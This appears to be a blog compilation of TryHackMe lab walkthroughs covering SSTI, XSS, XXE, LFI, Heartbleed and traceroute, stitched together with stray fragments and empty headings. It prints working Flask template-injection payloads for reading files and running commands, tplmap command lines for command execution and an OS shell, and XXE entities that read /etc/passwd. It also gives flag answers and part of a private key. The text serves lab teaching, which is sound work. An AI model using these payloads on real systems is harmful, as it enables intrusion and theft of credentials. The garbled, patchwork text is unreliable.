The communication with the drone happens over UDP, which is short for User Datagram Protocol. UDP is one of the dominant transport-layer protocols in use today. The other is TCP.

Contents

Enumeration with the Nmap:

 

 

Exploitation:

Privilege Escalation:

busybox cat /root/root.txt

Quiz Time

[Task 1] Introduction

Task 2] Methodology

This room will be divided into sections, each section talking about a specific vulnerability. The sections will follow this format: an introduction on what the vulnerable thing is, what the vulnerability(s) is/are(their may be multiple tasks on this), a guided exploitation in which I show pictures of how it's exploited, and finally a virtual machine where you will be asked to exploit it and collect a flag.

Since this room is divided into sections that don't follow one another, you can do this room in any order you please.

[Task 3] [Section 1 - SSTI] - What is SSTI

A template engine allows developers to use static HTML pages with dynamic elements. Take for instance a static profile.html page, a template engine would allow a developer to set a username parameter, that would always be set  to the current user's username


Server Side Template Injection, is when a user is able to pass in a parameter that can control the template engine that is running on the server.


For example take the code

[Task 4] [Section 1 - SSTI] - Manual exploitation of SSTI.

Turning the code earlier into a full flask application, gives us this page. It takes a prompt for a name, and then returns Hello <name>!.










Fortunately, we don't have to do much recon as we already know this is vulnerable to SSTI, lets try injecting some basic template code







Boom! That's template injection. We can use the wonderful repository PayloadsAllTheThings, to find some payloads for flask's template engine. The repo says we can use the code


{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}  to read files on the server. Effectively all that payload does is load the file object in python, from there we can use basic file operations. Let's try to read /etc/passwd using this method














We have LFI! Unfortunately(or fortunately depending on how you view it), that is not the extent of this vulnerability. The same repo, also includes a payload for remote code execution.


We can use the code


{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}} to execute commands on the server. All that payload does is import the os module, and run a command using the popen method.









From there, an attacker has already won, they can use this ability to gain a shell on the server.



#1 How would a hacker(you :) ) cat out /etc/passwd on the server(using cat with the rce payload)

 

Ans :-  {{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}

#2 What about reading in the contents of the user test's private ssh key.(use the read file one not the rce one)

Ans :- {{ ''.__class__.__mro__[2].__subclasses__()[40]()(/home/test/.ssh/id_rsa).read()}}

[Task 5] [Section 1 - SSTI]: Automatic Exploitation of SSTI

Fortunately, we don't have to go searching for payloads to see how we can use SSTI to our advantage, because there is a tool known as Tplmap that does that for us! The tool can be found here.


Note: use python2 to install the requirements. python2 -m pip



The basic syntax for tplmap is different depending on whether you're using get or post

• GET    tplmap -u <url>/?<vulnparam>
• POST    tplmap -u <url> -d '<vulnparam>'

Since our code operates via a form, the post syntax will be used.







From there we can effectively do everything we did in the manual exploitation task, from a command line. Let's try running id using tplmap.






 #1 How would I cat out /etc/passwd using tplmap on the ip:port combo 10.10.10.10:5000, with the vulnerable param "noot".

Ans :- tplmap -u http://10.10.10.10.5000/ -d 'noot' --os-cmd ' cat /etc/passwd'

[Task 6][Section 1 - SSTI]: Challenge

 

I've created a vulnerable machine for you to test your SSTI skills on! I've placed a flag in /flag aswell, good luck and have fun!


# What is the flag?

Hint - ./tplmap.py -u http://10.10.314.20/ -d 'name' --os-shell

Ans :- cooctus

Disclaimer

This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.






I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)

 

[Task 1] Introduction

Cross-site scripting (XSS) is a security vulnerability typically found in web applications. Its a type of injection which can allow an attacker to execute malicious scripts and have it execute on a victims machine.


A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS. TryHackMe Cross Site Scripting - A Walkthrough by Kumar Atul Jaiswal


The extent to the severity of this vulnerability depends on the type of XSS, which is normally split into two categories: persistent/stored and reflected. Depending on which, the following attacks are possible:

• Cookie Stealing - Stealing your cookie from an authenticated session, allowing an attacker to login as you without themselves having to provide authentication.
• Keylogging - An attacker can register a keyboard event listener and send all of your keystrokes to their own server.
• Webcam snapshot - Using HTML5 capabilities its possible to even take snapshots from a compromised computer webcam.
• Phishing - An attacker could either insert fake login forms into the page, or have you redirected to a clone of a site tricking you into revealing your sensitive data.
• Port Scanning - You read that correctly. You can use stored XSS to scan an internal network and identify other hosts on their network.
• Other browser based exploits - There are millions of possibilities with XSS.

[Task 2] Deploy your XSS Playground

[Task 1] Deploy the VM

An XML External Entity (XXE) attack is a vulnerability that abuses features of XML parsers/data. It often allows an attacker to interact with any backend or external systems that the application itself can access and can allow the attacker to read the file on that system. They can also cause Denial of Service (DoS) attack or could use XXE to perform Server-Side Request Forgery (SSRF) inducing the web application to make requests to other applications. XXE may even enable port scanning and lead to remote code execution. TryHackMe XXE walkthrough XML Extensible Entity

There are two types of XXE attacks: in-band and out-of-band (OOB-XXE).
1) An in-band XXE attack is the one in which the attacker can receive an immediate response to the XXE payload.


2) out-of-band XXE attacks (also called blind XXE), there is no immediate response from the web application and attacker has to reflect the output of their XXE payload to some other file or their own server.

[Task 2] eXtensible Markup Language

Before we move on to learn about XXE exploitation we'll have to understand XML properly.


What is XML?


XML (eXtensible Markup Language) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. It is a markup language used for storing and transporting data.




Why we use XML?


1. XML is platform-independent and programming language independent, thus it can be used on any system and supports the technology change when that happens.


2. The data stored and transported using XML can be changed at any point in time without affecting the data presentation.


3. XML allows validation using DTD and Schema. This validation ensures that the XML document is free from any syntax error.


4. XML simplifies data sharing between various systems because of its platform-independent nature. XML data doesn’t require any conversion when transferred between different systems.



Syntax

Every XML document mostly starts with what is known as XML Prolog.

<?xml version="1.0" encoding="UTF-8"?>


Above the line is called XML prolog and it specifies the XML version and the encoding used in the XML document. This line is not compulsory to use but it is considered a `good practice` to put that line in all your XML documents.


Every XML document must contain a `ROOT` element.



Ex:


<?xml version="1.0" encoding="UTF-8"?>
<mail>
   <to>falcon</to>
   <from>feast</from>
   <subject>About XXE</subject>
   <text>Teach about XXE</text>
</mail>



In the above example the <mail> is the ROOT element of that document and <to>, <from>, <subject>, <text> are the children elements. If the XML document doesn't have any root element then it would be consideredwrong or invalid XML doc.


Another thing to remember is that XML is a case sensitive language. If a tag starts like <to> then it has to end by </to> and not by something like </To>(notice the capitalization of T)


Like HTML we can use attributes in XML too. The syntax for having attributes is also very similar to HTML.


Ex: <text category = "message">You need to learn about XXE</text>


In the above example category is the attribute name and message is the attribute value.




#1 Full form of XML

Ans :- Extensible Markup Language



#2 Is XML case sensitive?   

Ans :- yes

   
#3 Is it compulsory to have XML prolog in XML documents? 

Ans :- no


 
#4 Can we validate XML documents against so schema?  

Ans :- yes



#5 How can we specify XML version and encoding in XML document?

Ans :- XML Prolog

[Task 3] DTD

Before we move on to start learning about XXE we'll have to understand what is DTD in XML.


DTD stands for Document Type Definition. A DTD defines the structure and the legal elements and attributes of an XML document.


Let us try to understand this with the help of an example. Say we have a file named note.dtd with the following content:



<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>



Now we can use this DTD to validate the information of some XML document and make sure that the XML file conforms to the rules of that DTD.

Ex: Below is given an XML document that uses note.dtd



<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
    <to>falcon</to>
    <from>feast</from>
    <heading>hacking</heading>
    <body>XXE attack</body>
</note>


So now let's understand how that DTD validates the XML. Here's what all those terms used in note.dtd mean

•     !DOCTYPE note -  Defines a root element of the document named note
•     !ELEMENT note - Defines that the note element must contain the elements: "to, from, heading, body"
•     !ELEMENT to - Defines the to element to be of type "#PCDATA"
•     !ELEMENT from - Defines the from element to be of type "#PCDATA"
•     !ELEMENT heading  - Defines the heading element to be of type "#PCDATA"
•     !ELEMENT body - Defines the body element to be of type "#PCDATA"
•     NOTE: #PCDATA means parseable character data.
•    
•    

   
   
   
#1 With what extension do you save a DTD file?

Ans :- DTD



#2 How do you define a new ELEMENT?


Ans :- !ELEMENT


#3 How do you define a ROOT element?

Ans :- !DOCTYPE



#4 How do you define a new ENTITY?


Ans :- !ENTITY

[Task 4] XXE payload

Now we'll see some XXE payload and see how they are working.



1) The first payload we'll see is very simple. If you've read the previous task properly then you'll understand this payload very easily.



<!DOCTYPE replace [<!ENTITY name "feast"> ]>
 <userInfo>
  <firstName>falcon</firstName>
  <lastName>&name;</lastName>
 </userInfo>



As we can see we are defining a ENTITY called name and assigning it a value feast. Later we are using that ENTITY in our code.


2) We can also use XXE to read some file from the system by defining an ENTITY and having it use the SYSTEM keyword


<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>

Here again, we are defining an ENTITY with the name read but the difference is that we are setting it value to `SYSTEM` and path of the file.


If we use this payload then a website vulnerable to XXE(normally) would display the content of the file /etc/passwd.


In a similar manner, we can use this kind of payload to read other files but a lot of times you can fail to read files in this manner or the reason for failure could be the file you are trying to read.

[Task 5] Exploiting

Now let us see some payloads in action. The payload that I'll be using is the one we saw in the previous task.




1) Let's see how the website would look if we'll try to use the payload for displaying the name.












On the left side, we can see the burp request that was sent with the URL encoded payload and on the right side we can see that the payload was able to successfully display name falcon feast





2) Now let's try to read the /etc/passwd








#1 Try to display your own name using any payload.

#2 See if you can read the /etc/passwd



#3 What is the name of the user in /etc/passwd

Ans :- falcon



#4 Where is falcon's SSH key located?


#5 What are the first 18 characters for falcon's private key

Ans :- MIIEogIBAAKCAQEA7

Disclaimer

This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.






I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)

[Task 1] Deploy

Local File Inclusion (LFI) is the vulnerability that is mostly found in web servers. This vulnerability is exploited when a user input contains a certain path to the file which might be present on the server and will be included in the output. This kind of vulnerability can be used to read files containing sensitive and confidential data from the vulnerable system. TryHackMe LFi walkthrough Local file inclusion


The main cause of this type of Vulnerability is improper sanitization of the user's input. Sanitization here means that whatever user input should be checked and it should be made sure that only the expected values are passed and nothing suspicious is given in input. It is a type of Vulnerability commonly found in PHP based websites but isn't restricted to them.

[Task 2] Getting user access via LFI

[Task 3] Escalating your privileges to root

In this, we are going to focus on getting root-level access on the machine. This step is also known as Privilege escalation; we are going to escalate our privilege from a normal user to a root user (with the highest level of system privileges).


First, we'll have to find a vector that would be exploited to give us root access. A vector can be anything like a binary with some special permission or a cronjob that is not configured properly etc.


I've written a blog post about Linux privilege escalation, you can read it here to know more about it.



#1 What can falcon run as root?

Ans :- /bin/journalctl



#2 Search gtfobins via the website or by using gtfo tool, to see if you find any way to use that binary for privilege escalation.




#3 What is the root flag?

Ans :- H1EQRK5XEX140H2KMO08

Disclaimer

This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.






I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)

Introduction to Heartbleed and SSL/TLS

Analysing the Bug

• http://heartbleed.com/ 
•  
•  
• https://www.seancassidy.me/diagnosis-of-the-openssl-heartbleed-bug.html
•  
•  
• https://stackabuse.com/heartbleed-bug-explained/

Heartbleed Bug Discovery

The Heartbleed bug was uncovered by a group of security engineers from Codenomicon and Neel Mehta from Google Security. ... This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet.



Note :- Almost website Effect :- 5 Lakh+


Date discovered: April 1, 2014; 6 years ago
Affected software: OpenSSL (1.0.1)
Date patched: April 7, 2014; 6 years ago

Protecting Data In Transit

In this task, you need to obtain a flag using a very well known vulnerability. Make sure you pay attention to all the information and errors displayed. Pay particular attention to how web servers are configured.




Once the machine is deployed, let's go ahead and scan it with nmap



nmap -A -sC -sV -Pn 34.244.41.119








Looks like the machine is hosting a website and it's not properly patched, let's go ahead and see if there's a metasploit module for this







Looks like there is! Let's go ahead and select it for use and check what options we have to set






Just need to set RHOST (Remote host) and verbose, let's go ahead and set those!






Should be all set, lets run it!






There we go! Update your servers, folks!


Flags:

The logical follow-up to the ping command is 'traceroute'. The easiest way to understand what traceroute does is to think of your home network. Say, for example, that you have a wireless router. Your phone is connected to it, as is your computer. What happens if you want to send something to your phone from your computer? You can't just send stuff directly to your phone -- not without directly connecting them, so how would the information get across? The request would first be sent to your router which acts as a gateway. The router knows every device that's connected to it, ergo, it knows how to get to your phone. The router then forwards your request on to your phone and facilitates the return connection in the same way. Traceroute can be used to map the path your request takes as it heads to the target machine. Networking tool traceroute


The internet is made up of many, many different servers and end-points, all networked up to each other. This means that, in order to get to the content you actually want, you first need to go through a bunch of other servers. Traceroute allows you to see each of these connections -- it allows you to see every intermediate step between your computer and the resource that you requested. The basic syntax for traceroute on Linux is this: traceroute <destination>



By default, traceroute operates using the same ICMP protocol that ping utilises, however, this can be altered with switches.








You can see that it took 13 hops to get from my router (_gateway) to the Google server at 216.58.205.46


Now it's your turn. As with before, all questions about switches can be answered with the man page for traceroute
(man traceroute).




#1 Use traceroute on tryhackme.com
Can you see the path your request has taken?



#2 What switch would you use to specify an interface when using Traceroute?

Ans :-   -i



#3 What switch would you use if you wanted to use TCP requests when tracing the route?

Ans :- -T



#4 [Lateral Thinking] Which layer of the TCP/IP model will traceroute run on by default?


Internet



I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)